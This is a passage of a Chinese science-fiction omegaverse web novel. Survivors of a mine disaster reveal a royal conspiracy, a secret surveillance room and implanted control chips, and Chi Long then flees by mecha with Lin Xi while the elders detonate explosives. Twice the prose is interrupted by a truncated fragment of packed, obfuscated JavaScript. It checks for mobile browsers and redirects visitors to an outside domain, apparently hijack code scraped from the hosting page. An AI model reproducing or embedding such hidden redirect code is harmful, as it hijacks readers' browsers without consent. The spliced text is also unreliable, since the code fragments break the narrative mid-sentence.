“你来这里,确实是一个陷阱。你了解到现在的一切,也是我们故意为之。”他脸上带着愧疚,还有隐隐的无奈,“本来我们都打算放弃了,可你突然出现在车站,见到娑利姌的那一刻,她选择了你,这让我们都十分意外。” “选择?”池泷睁大眼睛,更震惊的是,这些事竟然跟娑利姌也有关系? “是的。那场事故之后的几年,娑利姌突然拥有了一种神奇的力量,她似乎能感受到‘神意’,用信息素辨别对方是否是‘能够被选择的人’。这个人,据她说,可能会带来转机。” 我的天啊,这都星际多少年了,竟然还有这种封建迷信吗?池泷难以理解。 老人轻轻笑出声:“确实很令人难以接受,可她的信息素确实发生了改变,普通检测时能被轻易抓到,辨别时却无法被人发觉,据她说这是一种无法言语的‘感受’。曾经我们也感到震惊和不信,但她后来还做过几次预言,全都一一实现了。而且,”老人看着池泷,目光里好像藏着什么,“你确实和别人不太一样” “哪里不一样了!”池泷忍不住放大声音,她终于明白为什么娑利姌说话经常谜语兮兮的了,感情是跟什么“神”有关系。可这种奇怪的事情怎么能随便相信啊。 “呵呵呵呵……”老人轻笑出声,拍拍池泷的肩膀,“其实当她告诉我们‘被选择的人’已经到这里的时候,我们也考虑过不把你牵扯进来,”放在肩头的手轻轻攥了一下,“为了不让飞燕的人把你带走,我们决定让她把你带回家藏起来,以前也有来的孩子会住在娑利姌家中,飞燕基本只会趁他们落单时动手,而不会侵入我们的住所,等第二日,直接将你找个由头送走就行。” “但那晚也不是很平静啊。”池泷皱起眉头,老实说,她现在听到“飞燕”这两个字就浑身难受,难怪第一晚做噩梦的感觉记忆犹新,原来早就跟飞燕扯上了关系。 “没错,我们突然发现,一向‘和平相处’的飞燕,那晚却直奔她家,尽管知道没用,可我们也尽快集结,准备去救你,”老人拿着拐杖的手掌越握越紧,指甲盖后面泛起了白色,“你问我,年轻人知不知道我们的事,他们应该是不知道的,可那晚,我们看见不远的街区,停着几辆警车。” 想起那群一脸疲惫的孩子,老人心里怪不是滋味:“他们或许就像你说的,早就怀疑却苦于没有证据,想要询问却也知道会守口如瓶,于是也在用自己的方式做一些事吧。” “可飞燕哪是你们能掌控的人啊。”深深叹了一口气,池泷想起那扇大开的窗户,想必敌人已经摸到窗边了,而外面守着的人却毫无察觉。 “对,”似乎是羞愧,老人眼睛望向地面,脚步蹒跚,“但好在你醒了。” “他们的手里有一种奇怪的迷药,往常落单的人会被毫无防备地迷晕带走,直到死去也不会醒来。”老人的声音几近哽咽,“我们也研究过,可是破解不了,幸好、幸好你醒了,像一个奇迹。” “我们收到消息的时候开心坏了,为了防备飞燕在别的地方下手,一整晚,我们都严防死守,幸亏无事发生。” 所以,那碗粥,就是因为这样的原因被倒掉的?闻言,池泷心中好气又好笑。 “因为奇迹发生,所以你们不想送我离开了?”她挑挑眉,问道。 “不是,”老人笑着摇摇头,“是飞燕向我们提出了抗议,说我们撕毁了契约。为防它们狗急跳墙,我们只能暂时停止了行动,顺带看看你是不是真的被选中的人。” “你们和飞燕到底是什么关系?”想起自己被谜题耍得团团转的样子,池泷不仅气闷,但她还是问出了第三个问题。 老人深深叹了口气,肩膀上的手落下抓住池泷的手,带着她继续向前走,“那个央星派来的建筑师……” “米斯埃德尔。”池泷接道。 “嗯,”老人缓缓说道,“因为他拿着艾济的图纸和信息,很快获得了乔城人的信任,在回收完尸骨之后,他鼓励他们重建乔城。” 这倒是和郝警官说的都对得上。 “本着对好友的承诺,他的一切重建都没让王室插手。正好,王室也乐得不操心。一次密道重建的过程中,娑利姌单独找到他,向他说了第一个预言,按照这个预言,他发现一间密室,那间密室在图纸上并未有任何标注。可能艾济还没来得及画上或者连他也不知道。”说到这,老人停下脚步,松开握住池泷的手,敲了敲右边的墙壁。 一小块扇门状的墙壁慢慢移开,池泷转头看去,伴随着老人“那间密室,是乔城的眼睛”的话语,一个拥有刺眼白光的大房间乍然出现。 许多不同的设备各自按照不同频率,正闪着红色或者绿色的光,两侧、头顶和脚下墙上不时有一道极细的灿光划过,眼睛还未抓住,就已经沿着既定轨道不断往房间中间飞去。 而房中,不少人拿着光脑轻点,似乎在操控什么。 最令人注目的是,房间中间有一块被分割成多块的巨大方形投影屏幕。 哪怕站在门口,池泷也能一眼看到上面有车站、钟楼等等不同的场景,偶尔有路人或者飞鸟闪过,就像真实发生在眼前。 来不及震惊,池泷就被老人拉了进去。 走近了再看,池泷才发现,这块巨幕是由多块小型屏幕组成的,一个场景大约有五到六个角度,那些飞驰的灿光应该是乔城各处监控传回来汇总的数据流。 找了找巨幕周围,池泷在旁边一找到个小小的白色机器,上面插满了黑色长条卡。不出意外,那应该是数据流的储存器。 但不同的是,市面上的储存器一般以月轨6线附近M126星球上的影像矿土为原料,那种原料经过加工后会产生有些骚包的粉银外表,这些却是黑色的。 除了机甲研究,池泷对其他机械设备大多数一知半解,她似乎在这方面确实没什么天赋,这也是为什么她的机械原理总是最低分。 她只能确定,这套设备优于现今市面上流通的监控,说不定还胜过军方。因为作为前线兵士培养的她不曾在乔城观察到任何摄像机械,甚至信息素也感应不到任何监控波动,更不曾见过任何传输线。 它是完全隐形的,无形中掌控着乔城的点点滴滴。 “这里是工业区吗?”池泷指着一个屏幕问道,这个场景自己从未见过。 “没错,”接话的是一个女声,池泷向旁边看去,因为太过于震惊突然出现在眼前的这些,她没注意房间里的人此时竟都停下了工作,正在看着她。 说话的是一位头发花白的alpha女性,她的右眼显而易见地无神,任谁都能看出这是一枚做工粗糙的义眼。 尴尬地摸摸脸,同时被这么多人注视,池泷有些无措。 但心中同时暗暗纳罕:连飞燕都未曾察觉的监控技术,这套设备的价值绝对比自己想的要高级很多。 其实如果是林息也在这里,他一定会补充,这套监控设备,看光流数据传输速度说明它的延迟率完全为零,画面效果说明它的影像捕捉技术早已超越蛙眼,更不存在传输损耗。 最恐怖的是,百年战争以后,星联寻找了许多年,从未在任何星球上找到能产生如此清晰又实时画面的制作材料。 这是一个和乔城格格不入的房间,也是一个和星联格格不入的房间。 “唯一与外界的区别,就是我们没有采用主脑AI,”刚才说话的alpha女性继续说道,“因为我们不相信除了我们之外的任何的操控者。” 慢慢打量了一圈周围的人,这些人或者戴着义肢,或者戴着义眼义耳,甚至有人半边脸都是由明显人造的类肤材料包覆着,池泷心下有数,她总算见到了这群月轨事故幸存者的真面目。 暗暗数了数,原来也不过十几人。 池泷脸上的震惊太过明显,很好看透,一个左腿做了完全金属机械义肢的beta男性说道:“大多数人都死了,拼命熬了这么多年,还是熬不住了。” 满脸的皱纹加上深重的声音,感觉像一根烧到底的蜡烛,“死的时候眼睛都没闭上。” “谢谢你,谢谢你愿意来,”那位失去半边脸的beta男性说道,那张脸上用的肯定不是现在已经批量生产人造皮肤,因为他说话时,嘴角的皮肤还会不断凸起,发生轻轻的“噗”声。 真的是个奇怪的地方,池泷想,最先进的设备和最落后的人。 熟悉的拐杖声响起,好像怕她跑了似的,老人先是轻轻圈住池泷的手腕,手腕处传来的温度似乎比刚才低了不少。 “那个建筑师看到这个房间时,也很震惊,尽管他不能完全了解,却也明白这似乎是不该属于这个时代的技术。” 听话中的意思,池泷不确定地问道:“意思是,这个房间从那时就已经是这样了?” “对,”那位alpha女性老人家似乎是这个房间的管理者,“娑利姌说‘墓碑边藏着无法瞑目的眼睛’,这一切就像凭空出现的。” 老人家扬了扬手里的光脑,“连这个都是备好的,这个光脑不需要接入星网,就能知道外面所有的新闻。设备也会自行更新。但单方面的,我们能看到外界的所有事,却无法利用星网做些什么。” 接过老人手中的光脑,池泷按照尹霄教的操作了一下。 果然和老人说的一样,尽管运行原理好像是一样的,但这些网络似乎置于星网的上层平行带,换句话说,就是现今应该没有任何手段能追踪到这个能俯瞰整个星网的网络,同样,这个网络也无法对星网造成任何影响。 不知道该怎么形容现在的感受,如果说这真的不是怪力乱神,那他们未免演的也太真太像了,单这间房里的成本就不是随便什么人都负担得起的。 随即池泷想到什么,小心地问:“那么那场事故……或许是有影像记录的?” “没错,而且通过那段监控,那个建筑师发现了一个人,”说话的是池泷熟悉的老人,“一个不该出现在这里的人。” 屋子里老人们的表情突然都变得愤恨起来,“陶氏,那个摁下爆炸按钮的人,叫陶粒,当年她只是陶家一个默默无闻的旁支。” “现在是央星陶家的家主,”池泷轻声接道。 “所有人都知道,陶家从托亚接管战争开始就一直伴随左右,他们是王室见不得人的暗兵,是王室最忠心的走狗!” 池泷听见更远的角落,传来另一道苍老又带着十分愤恨不甘的声音,“就为了暗中继续性别分离,就为了拿住巨大的错处来打压那些贵族,”声音逐渐变大,“她害了我们所有人!又以拯救者的姿态来施舍!” “原来亲人的尸骨也和普通的尸体也没什么区别,”此刻那位alpha女性管理者的眼角存满了泪水,那些泪仿佛已经滋进了角落的纹理中迟迟没有落下,“检测仪上‘嘀’声后,就能知道这块骨头、这节残肢是不是家人,害怕它是,又害怕它不是,明明那天早晨,他们还是软的暖的,是会动会说会笑的。” 在光脑上摁了几下,池泷看见巨幕上所有的场景消失,接着出现一个高挑清瘦的背影,她仅仅贴着角落处的墙面,灰青色的头发刚到肩膀,她转过身,露出半张和煦温柔气质的脸。 声音窃喜激动,有着和那张脸气质完全不相符的刺耳:“尊贵的陛下,所有的□□都生效了,我完成任务了啊,现在您可以驾临这里!以后就没人敢阻碍您的决定了,您可要记得小人的功劳,小人……” 还没说完话,对方似乎就不耐地挂掉了通讯,但陶粒却忍不住捂住嘴,肩膀不停抖动,眼神中射出狂喜,不断抽动的身体像一条被人按住而挣扎扭曲的青虫。 池泷明白,那是荣华富贵近在眼前的癫狂。 所以,她一直以来的猜测没错,这是一场蓄谋已久的谋杀。 “你应该比任何人都懂‘杀鸡儆猴’的来源和含义吧,”老人再次拍了拍池泷的肩膀,“从那天开始,王室彻底掌权,所有人都无视了战争结束后,本该还给omega的权利。” 老人看着眼前逐渐低头不动的年轻人,心底悲哀,你瞧,多么俗套、多么简单、多么常见的故事,但每一次发生时,却还是没有人能习惯。 这是已经猜到的、预料之内的事情不是吗?池泷想,为什么心里仍旧会因此觉得憋屈沉痛、带来预料之外的愤怒痛恨呢? 多么传统的固权手段,王室提前知道了贵族贪婪的计划,在矿洞中安装了□□,在贵族和乔城人都没反应过来时,引爆制造了事故,接着带来救赎。 她抬头看向身边的人。 这些人本该被蒙蔽的,他们或许还能安生地过完下半辈子,乔城也能被央星重新接纳。 老人看着池泷,这个年轻人的表情总是那么容易让人读懂:“那个建筑师也想过,或许不知道,对他们来说是最好的选择,于是他瞒着所有人,将乔城基本修建好以后,准备一个人回去央星。明明谁也没说,临走时,娑利姌不知道从哪里冒出来阻止他回去,她说‘变动则亡’。” “那个傻子没听,他回去是和家族断绝关系的。一边是亲情和恩情,另一边是友情和人性。” “尽管不孝,他还是想,养父有那么多出色的弟子,总能再培养一个比他更好的。”老人苦笑,“他真的是个傻子,先是傻到以为养父会选择明哲保身,于是家族被整个压制赶出央星。走之前祖宅地板的缝隙中间,存满了洗也洗不掉的血迹。” “然后又傻到以为总有剩余新贵,明知有猫腻,也会为了族中的omega出头吧,于是他趁着夜晚偷偷找到原本相好的家族。” “却在第二天,不仅仅是他,整个乔城,除了不满十四的孩子,所有人都被植入了腺体芯片,”老人摘下帽子,将后颈暴露在池泷眼前,“陶家新研制的‘为牢’,植入芯片的人不能离开乔城,离开乔城的人将以心脏猝停的方式死去。” “我们很明白,王室让我们为了那些尚有希望的孩子,不要轻举妄动。而我们的孩子,却又因为长辈的痛苦,无法轻易离开。紧接着王室宣布处罚,封锁了所有的供应,仅仅让我们能活着就行。” 看着眼前的腺体,池泷不自觉地停止了呼吸,老人的后颈处是一枚铜色的圆环,环中有一块暗黑的凸起似乎是活的,正按着心跳的频率不断跳动。 “于是所有人都知道了隐藏的真相。但我们不明白,为什么总是善良的人被轻易勒索?再三的预言成真让我们决定宁可拼命,也要寻找‘被选择的人’,可一时间又找不到什么好办法。” 说到这儿,所有人都或左或右地撇开头,一副无地自容的模样。 “就在那时,飞燕主动联系了我们,只要我们自愿接受腺体手术,就可以摆脱芯片控制,偷偷出入。”带着义肢的beta老人说道,这一会儿,他好像又烧干了几分,“但每出去一次,就要用身体的能量供养那个被植入的、可以屏蔽芯片信息的怪物。最多十二次,怪物就会彻底吞噬腺体,接着吃掉躯体,什么也不剩。” “我们查询过这个组织,他们也是为omega一直奔走,敌人的敌人就是朋友。但同时,娑利姌的预言再次出现:‘怪物蛰伏,深渊将吞噬贪婪之人’。”老人将帽子重新戴上,他看向池泷,瞳孔深处黝黑得看不见光亮,“而飞燕又顺势提出‘资源交换’计划。” 娑利姌的谜语在此时揭晓,池泷心中有了不好的预想,她质问道:“交换什么?” 想起昨晚的事,她从刚才起似乎已经痊愈的喉咙又开始隐隐作痛,“拿土地和人命交换他们对王室贵族的杀戮吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600668|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这时所有的老人都彻底避开了池泷的目光,也没人回答。 “不是,”小腿传来熟悉的敲击,“不完全是。” “我们被骗过一次,怎么可能再次轻易相信这种巧合?但那已经是眼前唯一的出路。于是我们没有告诉飞燕预言的事,只说想找一名能承担真相的人。” 老人接下来的话解答了池泷心中一直存在的一个怀疑:“飞燕说可以帮我们在星网,避过央星的耳目,发布委托,寻找愿意帮忙寻找真相的人。同时,让那些无辜的孩子,遗忘部分回忆,快乐地生活下去。这正好符合我们不外出却能寻找‘被选择之人’的计划,也能一定程度上弥补我们对于孩子们的愧疚。” “而我们要交换的,不过是一块再也没人敢多看一眼的工业废地而已。” “但你们还是被骗了,你们不放心,想要两手准备,一边让飞燕出面,一边自己偷偷外出搜寻,”池泷不知道该如何形容自己的心情,一方面她愤怒老人们轻易地引狼入室,一方面又感慨如果不是被逼入绝境谁又愿意以身相试,“于是有人接受了手术死在外面;接着是每个志愿者死在这里。” “我们太着急也太贪心了,第一次尝试设计他人到头来还是反被他人设计,”老人深深地、长久地叹气,“我们着急寻找被选之人,又四处相求或许愿意相助的力量。当发现工业区的异样时,腺体却都已经全部被改造,这就相当于把命交给了飞燕。” “甚至我们发现,飞燕很聪明,它们意识到娑利姌作为仅剩的omega,应该具备不凡的意义,于是她也被强行植入了芯片,作为人质。而且她大多数时间,只能按照飞燕的指令,将那些无辜的人陆续带到乔城。” 老人越说越哽咽,悔恨从他的眼睛里、纹路中、动作里,溢满了出来:“她一直在尝试与芯片抗争,但身体却每况愈下,我们只能强制她精神休眠。” 到底没忍住怒气,池泷讽刺:“而你们同时!也没有任何能力,救不回那些被抓走的受托人!” 她指着屏幕,带着不知道从何而起的愤怒,崩溃大吼:“就只能眼睁睁看着他们被抓来、被杀害、被解剖!因为根本救不回来!连那些你们本想保护的孩子,也在无形中为这些事痛苦!” 说完,泪如雨下。 池泷知道,这些愤怒是对着这群老人,也是对着残忍的王室,更多的,是对着自己。 老人起身,抱住眼前一片模糊的池泷,手轻轻抚摸着她的脊背,“我们做了好多好多的错事,是我们做错的。如果不是我们,娑利姌也不会成为飞燕的工具,她的精神一直在无辜的人和被选择的人之间痛苦地挣扎。如果不是我们,你也不会经历那些痛苦的事。” 池泷抬起头,她发现老人的脸上一片平静,“孩子,你真的是个好孩子。我们如此感激你的到来,你在那个房间,被神选中的那一刻,我们更加确信了预言的准确性。那是我们期盼了40多年的希望。” 每一个人都感激自己,郝警官是,这群老人还是,明明自己什么也没做。 心中略感讽刺,池泷只觉得荒唐。 她想起那本日记,明明日记结尾时,也是充满希望的“新生活”。 “我们大概都辜负了那本日记的期盼。”池泷心下悲伤,喃喃说道。 “什么日记?”老人摸摸池泷的乌发,过于顺滑的手感让他脸上多了丝奇异。 “就是……”刚想开口,池泷却下意识闭上了嘴,她转头看向屏幕,屏幕就早已恢复了往常的样子,其中有一块,是那座资料库。 而且,库里的资料,眼前的人,不应该比自己更熟悉吗? 莫非…… 池泷摇摇头,她绝对相信世界上存在人类无法解释的事,比如预言、比如自己。 但她此刻却不愿相信,自己是什么“被神选中的人。” 听起来很不吉利。 这时,房间的另一面墙被打开,池泷抬起头,看见来人时忍不住瞪大了双眼。 灰蓝色的长发编得整整齐齐,盘在了头上,鼓起的包子头边上,绑了一朵小花。身上不再是灰色的布裙,款式有些老,却是一件清纯的白纱裙。 “我终于可以和你说话了,我的孩子。”娑利姌走入房间中央,朝池泷伸出双手。 上前握住那双粗糙的手,池泷忍住想哭的冲动,她喊了一声:“奶奶……”随即抱住了她。 娑利姌点点头,轻轻偏过脸,池泷便看见她后颈处那块和心脏跳动频率一致的黑色凸起。 不祥的生物。 “不要害怕,池泷。”娑利姌的声音听起来那样温柔慈爱,“神爱世人,我们都是神的孩子,你只是恰巧被选中的那个罢了。” “你不孤单。”说着,她又推推池泷,“无论选择什么,都没人会指责你。” “我好开心,能再次恢复正常。”眼眸里盛满了欢欣的神采,她变得鲜活了起来。 这已经是最好的证明。 “我需要做什么吗?”池泷内心复杂,放开娑利姌,“你们知道央星很快就会来接管乔城吗?最晚明天……”。 “正如我说的,我们不会逼迫,也不想你去做些什么,”话被人打断,池泷被老人们逐渐包围,熟悉的拄拐老人将手放在池泷肩上,手的温度似乎越来越低了。 “我们早已放弃了复仇的想法,复仇要伴随牺牲,但牺牲的不该是我们之外的人,我们真的知错了。”老人的身形晃了晃,却仍然伸出手轻拍泷的肩膀。 “不需要你将这些事昭告天下,也不需要你为这里再做些什么,”老人墨绿色的眸子逐渐变得黝深,“把这个城市带走吧,你说的,只要有人记住,那这里就还存在。” “从这一刻,它仅仅属于你,随你处置。” 从衣服里取出一块黑色的长条卡塞入池泷怀里,老人突然爆发出极大的力量,把她向一个方向推搡,“走吧孩子,快走吧,一直往前走,会有人接应你。” “你们呢,你们要干什么?”泪眼婆娑的池泷被突然转换的对话弄得摸不着头脑。 但她直觉,好像有什么不好的事情要发生了。 没人回复,反而所有人都将她往一个方向推去,那个管理者一样的alpha女性在池泷即将离开时又塞给她一块粉银的长条卡,“给你的伴侣,我们说好的。” 池泷回头,却没看见那个熟悉的拄拐老人的身影,娑利姌矮小的身躯也被遮挡。 “你们到底要做什么!”她想要返身。 这次挡住她的,是一条金属光泽的机械义肢,“历史真是个奇怪的东西,这次,王室变成了贵族,我们变成了市长他们,大家好像都在循环当年,只是希望这次能有一个好结果。” 紧接着,一扇木门凭空出现,“如果我们能再等等,等到林家出现就好了……” 下一秒,池泷被推出门,她飞快转身握住门把,任凭她如何晃动,那个门把结实地、稳稳地立在那里,怎么也打不开。 就在这时,传来光脑通讯声,池泷愣了一下,然后快速拿起光脑,果然是林息,她接通电话,张嘴便说:“他们关……” “快出来,池泷。”林息清冷的声音此刻有掩饰不住的焦急,“原路返回到图书馆,三分钟,我来接你。” “可……”池泷张张嘴,下意识想说些什么,然后被林息直接打断,他冷静的声音似乎直接传到了池泷此刻混乱的脑子里,“王室的士兵正赶往这里,你只有三分钟,不要让他们的心意白费。” 通讯被挂断,池泷转身,发现这里竟然是和林息一起来过的会议室,她慌忙按照林息说的话快速向图书馆奔去,alpha的体能在这一刻爆发,当她从喷泉中央出来时,林息尚未到达。 “再见,池泷。”乔乔又变回了原来的乔乔,此刻电子屏上是两条上弧形的线条。 “哗……”下一秒图书馆的屋顶突然被打碎,碎裂的玻璃从头顶降落,池泷下意识抱住头顶,再抬头时,眼前是一台蹲着的纯白小型防御机甲,它的手正朝她伸来,手掌上打开了一条单人通道。 看着躺在脚边的乔乔,此时它的电子屏上已经是一片黑暗,玻璃刮开了它的涂层,留下一道道深灰的划痕,看起来更破破烂烂了。 “快走,”机甲里传来林息的声音,池泷没再犹豫,爬进机甲后,林息将操纵位让开,“央星还有十五分钟到达,尽快赶去月轨7线的比熊星。” 如何操纵机甲已经刻在了池泷的骨子里,尽管她脑袋里现在一片空白,肌肉却熟练地操纵机甲向上飞去,临走时,池泷忍不住瞥了一眼脚底。 那片漂亮的“海面”此刻被彻底打破,黑黝黝的大洞好像一张巨口,正在疯狂吞噬它原本的美丽。 15.第 15 章 这台机甲叫做“凌光”,是不久前刚刚问世的防御型机甲。纯白是它的底色,采用的色剂是TS公司新研制专利,同时制作材料也是从555新星探索研发的新材料,极其刚硬,面对众多极端环境时也能保持完整,全身各处都有亮银包边,骚包的颜色却雅致得没边儿,尤其在快速飞行时,身影可以如同闪电一般,帅气迷人。 头部“眼睛”部位,被细黑边框重点描绘,从外表看去,这台漂亮凌光如同画了深邃眼线,充满了神秘气质。最重要的是,之所以叫“凌光”,就是因为其飞行速度极快。 “逃跑也是一种防御。”这是一周前,池泷观看它的发布会时想到的。 尽管心中最爱的,还是自己一点点攒出来的“鲨星”,可不妨碍她欣赏其他“美人”。 当然,高昂的价格,是让人望而却步的最主要原因。加上主打的神秘气质,TS公司这次一反常态,连试飞机会也没提供。 因此,造成了如今产品每日都在稳步提升的溢价出售,但也没阻碍大批量的人疯狂抢订。 今天是两“人”的第一次见面,却是在这种情境下。 不过尽管第一次操纵,池泷去也仅仅用了十分钟便离开乔城及周边的可巡航检测区域,这无疑是将这台机甲的能力开发到最大的缘故。 林息不禁多看了面色平静的alpha一眼,这人能在几分钟内就跟它做到如此合一,这种天赋绝对会让那位陛下陷入狂热。 这是,“凌光”身后突然传来一声巨大的爆炸声,气浪冲击,机甲也轻微晃动了一下。 林息心中一凛,机甲内部逐渐腾起一股仿佛暴雨来临之前的潮湿味道,他赶紧缓缓放出信息素,尽力确保它不会变得氤氲缭绕。 将机甲设定为自动巡航,池泷将操纵位后调,倚在在靠背上低着头,林息见状从后舱缓步上前,没想到刚到操纵位身边,就被池泷一把抓住摁在腿上,接着头顶一沉。 虽然头上的呼吸温绵悠长,但捆在身前的双臂隐隐发白,林息被挤压得有些喘不上气。 于是他再次悄悄放出信息素,希望能在剩下的时间里暂时安抚住这个怒火中烧的alpha。崖柏的味道渐渐浓郁分散开来,小心翼翼地包裹住那股狂躁不安的信息素,手法轻柔地安抚着它。 十几秒后,头顶的压力消失了,身后的人放开了一只手,另一只手虚虚放在自己的腿上。窸窸窣窣,紧接着一块粉银色的储存卡被放在自己的腰腹前面,闷闷的声音从后面传来:“给你的。” 压抑的水汽蒸腾并未有丝毫改善,跟身后人貌似冷静的行为产生了奇怪的割裂。 一时间,林息有些犹豫要不要接。他等了几秒,才伸手捏住储存卡,并未感受到任何阻力,将它慢慢抽出放进口袋。 储存卡落入口袋的下一秒,林息又被紧紧箍住,力道却比刚才放松了不少。 “对不起,刚才把你的胳膊都勒红了,”池泷声音低沉,林息轻易地就能从中听出愧疚。 他很疑惑,味道依旧阴沉的信息素表明,此刻她还是极为愤怒的,但跟自己道歉的愧疚也不像作假。 她大可以冲自己发火的,毕竟自己也隐瞒了许多事。而且,她不知道,也是因为自己,她才会接到这个委托。 就算一般人也很难在这种情况下做到不迁怒,更何况,她还是alpha。 无论是舆论还是惯例,都会默许她有“权力”在法律允许的范围内,不顾及任何人的感受。 “不正是因为这样,她才如此与众不同吗?”林息默默想道。不知道该不该庆幸,这个alpha确实和自己想的一样特殊,却比自己预计的还要不同。 不过也正好,虽然他学过alpha安抚课程,拿了满分却没有实践过;也因为父亲接触过各种性格的人,虽然自己能很好地察言观色,却很少有人会自讨没趣地主动跟自己搭话。 唯一能拿的出手的,应该就是自己比较抗打。 因此,如果她能自控,自己也不必为此苦恼:怎样在到达比熊星之前将她摁住或者……在她的怒火下存活。 他心里浮出一股复杂的感觉,但抓不住也摸不透。 “她总是和别人不一样。”林息心中叹息。 “不生气吗?”他忍不住问道,压迫的潮湿感表明她此刻内心一定极其煎熬。 “有点,别怕,不是对你。”身后的声音依旧听上去闷闷的,“但我有些事想问你。” “来了,”林息想。 她一定是发现自己向她隐瞒了那晚的细节和刚才的救援,他不确定池泷知道真相后的反应。 但奇怪的是,面对这种不确定,他竟然跃跃欲试,反而不觉得警惕和害怕。 “嗯,你说。”自己的声音总是听上去清冷得不行,真的不适合用来叙述或者安慰,很多人都觉得这样的声音总是听起来不够真诚,有时甚至还带点儿挑衅。 “你和那群老人家,商量了什么?”此刻身后的声音终于产生了一丝变化,林息怀疑那是强忍的哭意。 她要哭了?林息有点茫然,在他的印象里,可从没见过alpha哭。 “嗯……”决定不戳破这一发现,他组织了一下语言,“我那天遇到的事情,大多都是和我告诉你的一样,唯一就是,在看到我的时候,为了取得我的信任,那位老人家说了很多。” “他说,他认识你,也知道我是你的……男朋友。”说到这,林息卡了一下,池泷没有什么反应,他才继续说,“他知道我和飞燕似乎有所关联,但你选择相信我,所以他们也选择相信。又说,飞燕的人不知发什么疯,当晚准备硬闯图书馆,密室一旦发现,后患无穷,因此其他老人们准备前去阻拦,让我带你快走。” “虽然我能确定屏幕里的情况是真的,可还是无法轻易相信。”想起那位老人的样子,林息心中默默叹了口气,“可能看出来我的犹豫,于是他们和我做了一个交易,用这块储存卡换我马上带你离开,我同意了。只不过卡里的内容,我现在不方便透露。” “池泷,你知不知道……”林息沉默了一会儿才说,“那些老人都……不太完整,但从他们的表情来看,他们似乎并不意外我能进来这里。” 当然,林息说这话,也没想池泷回答,他很清楚,池泷和老人之间的秘密,不比他隐瞒她的事情少。 身后的人也的确沉默不语,信息素也没有什么波动,似乎并未受到任何影响。 “只要再过一天,就一天,”声音仍旧闷闷的,“探测队就来了。” 探测队属于军部,军部的部长是池泷十分尊敬的人,如果是他,乔城一定会好起来的。 “可陛下似乎知道了别的事,突然在今日出兵乔城,”说到这里,林息顿了一下,接下来的事他不知道该怎么叙述。直到抱着他的人轻轻晃了一下,林息才继续道,“这还是郝警官告诉我的,当时我就察觉了不对劲,然后……然后他又说自己还要带话,让我在今天尽快带你离开,只需要在确定的时间到达图书馆接应你就行。” 是那场交易,池泷想,那个书库里的资料触动了王室的神经。 “我很疑惑,但郝警官却戳穿了我的伪装。”想起令人心惊肉跳的这一幕,林息当时差点拔刀相向。 身后池泷也迅速抬头,发丝和衣物摩擦发出了短暂的沙沙声。 “他知道你改变了外貌?”这件事让池泷也很吃惊。 “没错,虽然没有高科技加持,可这位警官一直在尽心尽力地提高自己的鉴别能力,”说到这儿,林息口气也敬重了许多,“虽然第一次没发觉,可后来的见面,让他看出了一些不够贴合的小细节。他很优秀,多亏他,我回去也能改进一下。” 那位警官的脸上没有恶意,看自己的眼神仿佛在看自己的孩子,这也是林息没出刀的原因。 给谁带话,二人都很清楚,是那些老人家。 林息没说的是,这群人,似乎清楚自己随身携带压缩机甲,只说接应,却没有后续计划。 和那晚的“并不意外”一样,可林息并未在城内察觉什么监控设备。 想了想,林息还是没打算问池泷,就像他说的,彼此都神秘得公平一点。 “我问他‘你们不走吗’,郝警官说,车站里停着陛下提前派来的列车,可以接应乔城人离开。”林息苦笑。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630288|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “他似乎还有别的事,带完话后就匆匆离开了,”林息继续说,“我回去了一趟,意外发现娑利姌奶奶不在,又去了养老院,遇到了一位从未见过的老人,他坐着轮椅,双腿悬空,没有安装义肢。” “他好像很高兴,带我去看了一个仓库,”想起那位老人熟稔的态度,林息有些好笑,又记不得两人何时见过,“一个炸药库。” 想起那位老人站在危险的炸药面前,却充满欣慰向往的脸庞,他不禁一哽,“满满地装了一间仓库……他说他们后半生的时间大多都用来出门收集这些炸药所需的材料了。” 想拿出光脑来给池泷看仓库的照片,但身前的手臂一时让他伸展不开。 身后的人终于有了反应,她拍了拍林息想要拿光脑的手。虽然依旧没说话,但压抑的信息素悄然发生了变化,湿润得让人仿佛置身在一场绵密的细雨中。 他听见池泷的声音,藏着不易别人察觉的哀伤,“他们和央星交换了什么?” 总归还是说到了,林息转身,才发现那条紧箍的手臂原来轻易地就能挣开,终于看见对方发红的眼眶。 林息轻轻抱住她的脖子,把她的脸放在自己的肩膀,“用月轨的秘密和幸存者的死亡,换取其他人的芯片解密码和乔城的重建开放。” 看似轻巧的一句话,隐藏着诸多信息:月轨的秘密是什么?为什么林息会知道芯片的事? 但池泷似乎并不在乎。 因为她并未说话,肩膀反而逐渐传来温热,林息张了张嘴,剩下的话却无法说出口。这只是吸引王室来此的噱头,这场大爆炸,王室恐怕死伤惨重,飞燕也是。 或许她早就猜到了。 就像那群“年轻的”乔城人早就猜到前辈今天要做的牺牲一样。 那座车站,林息去看过,和往常一样冷清。 林息想,其实自己比她知道的多,他早就知道乔城的人最终的结果只有死亡,也知道乔城的人一直在偷溜出去找寻炸药材料,不仅他知道,央星所有的贵族世家都知道,陛下也知道。 他们只是不在乎,就像大象不会在意蚂蚁的抗议随便踩死他们一样的不在乎。 陛下有信心在“任何灾难”发生前,用武力实现绝对镇压。哪怕 但事实就是蚂蚁的反击让大象也大吃一惊。 事情发生前,他用光脑联系了三殿下,知道了来龙去脉。 同时三殿下幸灾乐祸地描述,陛下拿到一部分用于交换解密码的月轨秘密时,被胁迫而暴怒的样子,恐怕这次更要极怒了。 